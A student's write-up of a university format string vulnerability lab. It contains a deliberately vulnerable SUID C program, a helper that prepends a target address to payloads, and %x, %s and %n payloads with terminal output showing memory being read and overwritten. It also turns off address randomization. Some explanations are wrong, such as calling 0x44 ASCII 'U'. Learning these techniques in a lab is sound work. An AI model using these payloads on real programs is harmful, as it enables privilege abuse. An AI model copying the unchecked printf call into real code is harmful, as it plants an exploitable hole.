Lab 7: Format String Vulnerability Lab

Aastha Yadav (ayadav02@syr.edu)
SUID: 831570679

Task 1: Exploiting the Vulnerability

1. Crash The Program

```
root@VM:/home/seed/lab7# subl vul_prog.c
root@VM:/home/seed/lab7# gcc -o vul_prog vul_prog.c
vul_prog.c: In function ‘main’:
vul_prog.c:33:12: warning: format not a string literal and no format arguments [
-Wformat-security]
     printf(user_input);
            ^
root@VM:/home/seed/lab7# chmod 4755 vul_prog
root@VM:/home/seed/lab7# ls -l vul_prog
-rwsr-xr-x 1 root root 7556 Oct 22 19:18 vul_prog
root@VM:/home/seed/lab7# exit
exit
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbff92370 (on stack)
The variable secret's value is 0x 8f02008 (on heap)
secret[0]'s address is 0x 8f02008 (on heap)
secret[1]'s address is 0x 8f0200c (on heap)
Please enter a decimal integer
123
Please enter a string
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
```

Figure 1

Observation: We compile our vul_prog.c and ignore the warning and make it a Set UID program and run the program and enter our format string with a number of %s t crash our program and we notice that we are successful as there is a Segmentation Fault.

2. Print out secret[1] value

```
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbfc60d60 (on stack)
The variable secret's value is 0x 8838008 (on heap)
secret[0]'s address is 0x 8838008 (on heap)
secret[1]'s address is 0x 883800c (on heap)
secret[1]'s address is 142835724 (on heap)
Please enter a decimal integer
142835724
Please enter a string
%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x
bfc60d68|b7780918|f0b5ff|bfc60d8e|1|c2|bfc60e84|8838008|883800c|257c7825|78257c7
8|7c78257c|257c7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Figure 2

Observation: This time we enter our format string as a number of %x as our format string to printf statement.

Explanation: To know the address of secret[1], we need to let int_input contain the address of secret[1], then using %x to move the pointer back when the program run call printf to try to output user_input.
The above screenshot, we are trying to find where is the int_input located, i.e. how many "%x" do we need to make pointer move to the int_input position.

```
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbf9bd790 (on stack)
The variable secret's value is 0x 9a8d008 (on heap)
secret[0]'s address is 0x 9a8d008 (on heap)
secret[1]'s address is 0x 9a8d00c (on heap)
secret[1]'s address is 162058252 (on heap)
Please enter a decimal integer
162058252
Please enter a string
%x|%x|%x|%x|%x|%x|%x|%x|%s
bf9bd798|b773a918|f0b5ff|bf9bd7be|1|c2|bf9bd8b4|9a8d008|U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Figure 3

Observation: We have successfully identified the location of secret[1]. So we add a %s to display the value at that position.

Explanation: The print result is 'U', because the original value of secret[1] is '0x44', which corresponds to ASCII 'U'.

3. Modify secret[1] value

```
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbf8728f0 (on stack)
The variable secret's value is 0x 83b1008 (on heap)
secret[0]'s address is 0x 83b1008 (on heap)
secret[1]'s address is 0x 83b100c (on heap)
secret[1]'s address is 138088460 (on heap)
Please enter a decimal integer
138088460
Please enter a string
%x|%x|%x|%x|%x|%x|%x|%x|%n
bf8728f8|b77b9918|f0b5ff|bf87291e|1|c2|bf872a14|83b1008|
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x38
```

Figure 4

Observation: In our format string to printf, we add %n at the position of secret[1].

Explanation: Usually, printf function could not set value to variable, but when format string contains "%n", it will write the number of the string that written to the variable that address point to.

4. **Modify secret[1] to a predetermined value**

```
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbfb4bb10 (on stack)
The variable secret's value is 0x 8e80008 (on heap)
secret[0]'s address is 0x 8e80008 (on heap)
secret[1]'s address is 0x 8e8000c (on heap)
secret[1]'s address is 149422092 (on heap)
Please enter a decimal integer
149422092
Please enter a string
%x20%x04%x%x%x%x%x%x%n
bfb4bb1820b770291804f0b5ffbfb4bb3e1c2bfb4bc348e80008
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x34
```

Figure 5

Observation and Explanation: We add 4 numbers in format string and value of secret[1] is now 0x34 which is 4 less than 0x38.

Task 2: Memory randomization

```
root@VM:/home/seed/lab7# chmod 4755 vul_prog
root@VM:/home/seed/lab7# ls -l vul_prog
-rwsr-xr-x 1 root root 7556 Oct 22 22:30 vul_prog
root@VM:/home/seed/lab7# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@VM:/home/seed/lab7# exit
exit
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbfffef94 (on stack)
The variable secret's value is 0x 804b018 (on heap)
secret[0]'s address is 0x 804b018 (on heap)
secret[1]'s address is 0x 804b01c (on heap)
secret[1]'s address is 134524956 (on heap)
Please enter a string
21
21
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
seed@VM:~/lab7$ ./vul_prog
The variable secret's address is 0xbfffef94 (on stack)
The variable secret's value is 0x 804b018 (on heap)
secret[0]'s address is 0x 804b018 (on heap)
secret[1]'s address is 0x 804b01c (on heap)
secret[1]'s address is 134524956 (on heap)
Please enter a string
```

Figure 6

vul_prog.c | my_string.c

```c
#include<stdio.h>
#include<stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
    char user_input[100];
    int *secret;
    int int_input;
    int a, b, c, d; /* other variables, not used here.*/

    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));
    secret = (int *) malloc(2*sizeof(int));

    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;
    printf("The vaiable user input's address is 0x%8x \n", (unsigned int)&user_input);
    printf("The variable secret's address is 0x%8x (on stack)\n", (unsigned int)&secret);
    printf("The variable secret's value is 0x%8x (on heap)\n", (unsigned int)secret);
    printf("secret[0]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[0]);
    printf("secret[1]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[1]);

    printf("secret[1]'s address is %u (on heap)\n", (unsigned int)&secret[1]);

    //printf("Please enter a decimal integer\n");
    //scanf("%d", &int_input);  /* getting an input from user */
    printf("Please enter a string\n");
    scanf("%s", user_input); /* getting a string from user */

    /* Vulnerable place */
    printf(user_input);
    printf("\n");

    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}
```

Figure 7

Observation: This time, we delete the scanf statement for int_input. So we need to add the address of secret[1] at the top of user_input. We use two malloc() functions to achieve that lucky situation. We also turn off address randomization for this task. Now we can notice form Figure 6 that the address of secret[1] remains constant.

```
seed@VM:~/lab7$ subl my_string.c
seed@VM:~/lab7$ gcc -o my_string my_string.c
seed@VM:~/lab7$ ./my_string
%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x
The string length is 45
seed@VM:~/lab7$ ./vul_prog < mystring
The vaiable user input's address is 0xbfffef98
The variable secret's address is 0xbfffef94 (on stack)
The variable secret's value is 0x 804b018 (on heap)
secret[0]'s address is 0x 804b018 (on heap)
secret[1]'s address is 0x 804b01c (on heap)
secret[1]'s address is 134524956 (on heap)
Please enter a string
bfffef98|b7fff918|f0b5ff|bfffefbe|1|c2|bffff0b4|bfffefbe|804b018|804b01c|257c7825|78257c78|7c782
57c|257c7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Figure 8

vul_prog.c | my_string.c

```c
/* write_string.c */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;

    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x804b01c;

    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\n", size);

    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\n");
    }
}
```

Figure 9

Observation: We use my_string.c program to inject our format string in the vulnerable program now. We can notice that our address of secret[1] is located after 9 addresses i.e. we need 9 %x to point to the address of secret[1].

```
seed@VM:~/lab7$ ./my_string
%x|%x|%x|%x|%x|%x|%x|%x|%s
The string length is 33
seed@VM:~/lab7$ ./vul_prog < mystring
The vaiable user input's address is 0xbfffef98
The variable secret's address is 0xbfffef94 (on stack)
The variable secret's value is 0x 804b018 (on heap)
secret[0]'s address is 0x 804b018 (on heap)
secret[1]'s address is 0x 804b01c (on heap)
secret[1]'s address is 134524956 (on heap)
Please enter a string
bfffef98|b7fff918|f0b5ff|bfffefbe|1|c2|bffff0b4|bfffefbe|804b018|U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Figure 10

Observation: Now we insert a format string with 9 %x and one %s to display the value of secret[1] and we get the value U which corresponds to 0x44.

```
seed@VM:~/lab7$ ./my_string
%x%x21%x%x07%x%x%x%x%x%n
The string length is 28
seed@VM:~/lab7$ ./vul_prog < mystring
The vaiable user input's address is 0xbfffef98
The variable secret's address is 0xbfffef94 (on stack)
The variable secret's value is 0x 804b018 (on heap)
secret[0]'s address is 0x 804b018 (on heap)
secret[1]'s address is 0x 804b01c (on heap)
secret[1]'s address is 134524956 (on heap)
Please enter a string
bfffef98b7fff91821f0b5ffbfffefbe071c2bffff0b4bfffefbe804b018
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x40
```

Figure 11

Observation and Explanation: Now we insert a format string with %n to modify the value the secret[1]. We observe that we are able to modify secret[1] to 0x40.